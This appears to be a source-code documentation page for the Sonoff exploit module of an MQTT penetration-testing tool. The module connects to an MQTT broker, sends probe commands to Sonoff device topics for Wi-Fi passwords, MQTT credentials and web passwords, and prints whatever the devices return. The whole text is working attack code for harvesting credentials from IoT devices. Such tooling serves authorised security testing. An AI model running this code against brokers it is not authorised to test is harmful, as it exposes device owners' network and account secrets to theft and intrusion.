Source code for mqtt_pwn.exploits.sonoff

import json
from threading import Thread, Lock
from time import sleep, time

from paho.mqtt import client as mqtt

from mqtt_pwn.config import DEFAULT_BROKER_HOST, DEFAULT_BROKER_PORT

TOPIC_PREFIX = 'cmnd/'
RESULT_TOPIC_SUFFIX = 'RESULT'
INTERESTING_TOPICS = [
    'AP',
    'FullTopic',
    'Hostname',
    'IPAddress1',
    'MqttClient',
    'MqttHost',
    'MqttPassword',
    'MqttUser',
    'Password',
    'Password2',
    'SSId',
    'SSId2',
    'WebConfig',
    'WebPassword',
    'WebServer',
    'WifiConfig',
    'otaUrl'
]


[docs]class SonoffMqttClient(object): """ Represents a MQTT Client connection handler class for Sonoff Exploit""" def __init__(self, host=DEFAULT_BROKER_HOST, port=DEFAULT_BROKER_PORT): self._mqtt_client = mqtt.Client() self.host = host self.port = port self.timeout = 10 self.prefix = TOPIC_PREFIX self.listen_timeout = 5 self.cli = None self.should_stop = False self.keyboard_interrupt_occurred = False self.loop_lock = Lock() self._mqtt_client.on_message = self.mqtt_on_message self._mqtt_client.on_connect = self.mqtt_on_connect
[docs] def publish_probe_message(self, topic): """Publishes an empty message to a topic (according to the sonoff RFC)""" self._mqtt_client.publish(topic, None)
[docs] def mqtt_on_connect(self, mqtt_client, userdata, flags, result): """Handle when a connection was established""" for current_topic in INTERESTING_TOPICS: self._mqtt_client.publish(self.prefix + current_topic)
[docs] def mqtt_on_message(self, mqtt_client, obj, msg): """Handles when a message is received""" msg_data = json.loads(msg.payload.decode()) for key, value in msg_data.items(): self.cli.print_ok(f'Found {key} - {value}')
[docs] def set_prefix(self, prefix): """Sets the prefix""" self.prefix = prefix
[docs] def set_timeout(self, listen_timeout): """Sets the timeout""" self.listen_timeout = listen_timeout
[docs] def set_cli(self, cli): """Sets the CLI""" self.cli = cli
[docs] def run(self): """Run the sonoff exploit""" if self.cli.mqtt_client.username and self.cli.mqtt_client.password: self._mqtt_client.username_pw_set(self.cli.mqtt_client.username, self.cli.mqtt_client.password) self._mqtt_client.connect(self.host, self.port, self.timeout) self._mqtt_client.subscribe(self.prefix + RESULT_TOPIC_SUFFIX) Thread(target=self.check_for_timeout).start() while True: try: with self.loop_lock: if self.should_stop: break self._mqtt_client.loop() except KeyboardInterrupt: self.keyboard_interrupt_occurred = True self.cli.print_error('Stopping Sonoff exploit ...', start=' ') break
[docs] def check_for_timeout(self): """Check whether the time is up (to run for a limited amount of time)""" start_time = time() while True: if self.keyboard_interrupt_occurred: break if time() > start_time + self.listen_timeout: with self.loop_lock: self.should_stop = True break sleep(0.1)
[docs] @classmethod def from_other_client(cls, client): """Creates an instance from other MQTT client""" return cls( host=client.host, port=client.port)
[docs]class SonoffExploit(object): """ Represents the Sonoff Exploit class """ def __init__(self, prefix, client, timeout, cli): self.prefix = self._normalize_prefix(prefix) self.client = client self.timeout = timeout self.cli = cli self.client.set_prefix(self.prefix) self.client.set_timeout(self.timeout) self.client.cli = cli def _normalize_prefix(self, prefix): """Normalizes the prefix""" if not prefix.endswith('/'): prefix = prefix + '/' return prefix
[docs] def run_exploit(self): """Runs the exploit, and prints the passwords to console""" self.client.run()
[docs] @staticmethod def run(prefix, timeout, cli): """Creates a Sonoff exploit/client instance from another CLI and runs it""" mqtt_client = SonoffMqttClient.from_other_client(cli.mqtt_client) SonoffExploit(prefix, mqtt_client, timeout, cli).run_exploit()